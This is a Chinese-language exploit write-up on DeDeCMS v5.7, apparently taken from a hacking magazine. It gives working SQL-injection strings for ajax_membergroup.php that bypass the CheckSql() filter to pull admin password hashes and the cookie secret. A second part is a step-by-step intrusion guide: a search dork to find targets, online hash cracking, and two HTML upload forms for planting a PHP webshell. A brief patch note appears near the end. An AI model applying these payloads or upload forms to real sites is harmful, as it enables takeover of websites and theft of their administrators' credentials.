DeDeCMS v5.7最新ajax_membergroup.php注入漏洞
DeDeCMS(织梦CMS)是一款国内比较专业的PHP网站内容管理系统,从04年发行至今,已近七个年头,也经历了无数次的升级和改版,最新版本为8月12更新的V5.7正式版,功能也不断增强。笔者原本以为这应该是一款安全性比较高的CMS系统,然而分析后令人感到迷茫,迷茫国内比较专业的系统经历七年发展,其安全还是令人堪忧。或许网络原本就没有绝对的安全。
注入漏洞
漏洞一:/member/ajax_membergroup.php页面的membergroup变量没有过滤导致数字型注入,关键代码如下:
编辑分组
elseif($action == 'post')
{
if(empty($membergroup)){
echo "您还没有设置分组!";
exit;
}
$sql = "UPDATE ` SET `groupid`='{$membergroup}' WHERE `fid`='{$mid}' AND `mid`='{$cfg_ml->M_ID}';";
$dsql->ExecuteNoneQuery($sql);
$row = $dsql->GetOne("SELECT groupname FROM WHERE mid = {$cfg_ml->M_ID} AND id={$membergroup}"); //数字型注入
echo " ".$row['groupname']." <a href='#' onclick='EditMemberGroup($mid);return false;'>修改</a>";
很明显当“action=post”时,$membergroup导致数字型注入漏洞,但是DeDeCMS在访问MySql数据库之前,使用CheckSql()自定义函数对SQL语句进行安全检查,无法直接注入。
绕过防注入。CheckSql()函数定义在/include/dedesql.class.php或/include/dedesqli.class.php数据库类文件中,代码如下:
if (!function_exists('CheckSql'))
{ function CheckSql($db_string,$querytype='select')
{global $cfg_cookie_encode;
$clean = '';$error='';$old_pos = 0;$pos = -1;
...(略)
//如果是普通查询语句,直接过滤一些特殊语法
if($querytype=='select')
{$notallow1= "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}";
//[^0-9a-z@\._-]{1,}即至少1个非数字、小写字母、@等字符,
if(preg_match("/".$notallow1."/", $db_string))
{//①preg_match未使用参数i,使用大写绕过,如:Union
puts(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||SelectBreak\r\n");
exit("<font size='5' color='red'>Safe Alert: Request Error step 1 !</font>");
}
}
while (TRUE)
{ $pos = strpos($db_string, '\'', $pos + 1);
if ($pos === FALSE)
{break; }
//②假如字符串$db_string中不存在“\'”退出while循环,存在则继续向下执行
$clean .= substr($db_string, $old_pos, $pos - $old_pos);
while (TRUE)
{ ...(略) }
$clean .= '$s$';
//③将字符串$db_string中"\'"和"\'"之间的字符转为"$s$",即信任之间的字符串,绕过防注入的关键
$old_pos = $pos + 1;
}
…..(继续接如下代码)
}
}
$clean .= substr($db_string, $old_pos);
$clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));
//④"\s"匹配任何空白字符,包括空格、制表符、换页符等,$clean转为小写
//⑤再次检查union关键字
if (strpos($clean, 'union') !== FALSE && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)
{
$fail = TRUE;
$error="union detect";
}
//⑥依次检查--、#、benchmark、load_file、outfile、select等关键字
elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== FALSE || strpos($clean, '#') !== FALSE)
{...(略) }
//这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库
elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)
...(略)
//老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息
elseif (preg_match('~\([^)]*?select~s', $clean) != 0)
{...(略)}
if (!empty($fail))
{//存在限制的Sql关键字,写日志文件$log_file,输出“Safe Alert: Request Error step 2!”
fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||$error\r\n");
exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>");
}
else
{//⑦不存在限制的Sql关键字,返回$db_string字符串
return $db_string;
}
语句①使用正则表达式过滤Sql关键字,但是因为没有参数“i”,导致可以使用大写绕过,比如“Union”等,While循环实现将字符串(Sql语句)中转义单引号之间的字符转为“$s$”,不予检查,此举意图是信任转义单引号之间的字符,即允许提交包含Sql关键字的文字,比如发表新文章的内容,但是也因此产生了安全漏洞。
漏洞利用。构造membergroup变量值为` Union select pwd from ` where 1 or `”,注意:1)“Union”不能全为小写“union”,2)前后使用`”。当变量提交后,Sql语句成为“SELECT groupname FROM WHERE mid = 8 AND ` Union select pwd from ` where 1 or `”,mid为当前用户id,首先大写Union绕过防注入语句①,然后防注入会将“\'”之间的字符串认为可信任的,对于其中的字符串不再做防注入过滤,尽管其中含有“union、select”等关键字!在CheckSql()函数中添加输出语句如下,可以直观地看到转换前后的Sql语句以及注入结果如图1。…(略)
echo "原字符串:".$db_string."<br>";
//完整的SQL检查
while (TRUE)
{
…(略)
}
$clean .= substr($db_string, $old_pos);
$clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));
echo "转换以后:".$clean."<br>";
…(略
这里注出的是substr(md5($this->userPwd), 5, 20)值,我们可以去掉前三位和最后一位,成为16位MD5码,如“7a57a5a743894a0e”,再进行爆破。常用的注入链接如下:注入管理员密码:
` Union select pwd from ` where 1 or `
//如果存在多个管理员时,可以将where条件改为“id=1 or `”或“userid=0x61646D696E or `”
注入$cfg_cookie_encode
` Union select value from ` where aid=3 or `
//在获得$cfg_cookie_encode后,我们可以直接利用漏洞二。另外在“/data/'.md5($cfg_cookie_encode).'_safe.txt'”文件中记录着注入痕迹。
漏洞修补
目前官方没有升级包,简单的防止注入修补方法可以将ajax_membergroup.php页面删除,或者给CheckSql()自定义函数中的preg_match函数增加“i”参数,防止上传的方法可以过滤“/include/dialog/select_soft_post.php”文件中的变量$newname,限制其以字符“.”、“?”以及空格等字符结束等。
附上黑客防线第二期的下载地址:
http://115.com/file/dpd3j0r3#黑客防线2012年2月刊.pdf
--------------------------------------------------------
情简单整理下入侵测试的步骤:
漏洞利用实例
百度搜索关键字“Powered by DedeCMSV57_GBK 2004-2011 DesDev Inc”,获得使用DeDeCMS系统的网站。
注入漏洞。首先访问“/data/admin/ver.txt”页面获取系统最后升级时间,XXXXX说明已经修补2011年8月12日补丁,
然后访问“/member/ajax_membergroup.php?action=post&membergroup=1”页面,XXXXXX2说明存在该漏洞。
于是访问页面链接“/member/ajax_membergroup.php?action=post&membergroup=@`'` Union select pwd from `%23@__admin` where 1 or id=@`'`”,
去掉前三位和最后一位,得到管理员的16位MD5码,www.cmd5.com在线破解成功。
上传漏洞。要求网站开启新会员注册功能,首先注册新会员,无需通过邮件验证,只要登陆会员中心,然后访问页面链接
“/plus/carbuyaction.php?dopost=memclickout&oid =S-P0RN8888&rs[code]=../dialog/select_soft_post”,
说明通过“/plus/carbuyaction.php”已经成功调用了上传页面“/dialog/select_soft_post”
于是将Php一句话木马扩展名改为“rar”等,利用提交页面upload1.htm,
将下面的源码另存为upload1.htm,获得提交页面如图下。
<form action="[url=http://127.1/plus/carbuyaction.php?dopost=memclickout&oid=S-P0RN8888&rs[code]=../dialog/select_soft_post]
http://127.1/plus/carbuyaction.php?dopost=memclickout&oid=S-P0RN8888&rs[code]=../dialog/select_soft_post[/url]" method="post"
enctype="multipart/form-data" name="form1">
file:<input name="uploadfile" type="file" /><br>
newname:<input name="newname" type="text" value="myfile.Php"/>
<button class="button2" type="submit">提交</button><br><br>
1,必须登陆用户。
2,将待上传PHP文件扩展名改为“zip|gz|rar|iso|doc|xsl|ppt|wps”其中之一。
3,newname为上传后的新文件名,扩展名使用大写绕过,如“Php”
提交后尽管页面出错,但是myfile.Php文件已经成功上传到网站根目录。
upload2.htm
<form name="form1" action="http://127.1/member/uploads_add.php" method="post" enctype="multipart/form-data" >
<input type="hidden" name="mediatype" value="4" />
<input type="hidden" name="_GET[cfg_mb_addontype]" value="P hp|Php|php" />
<input type="hidden" name="dopost" value="save" />
<input name="addonfile" type="file" id="addonfile" />
<button class="button2" type="submit" >提交</button>
</form>
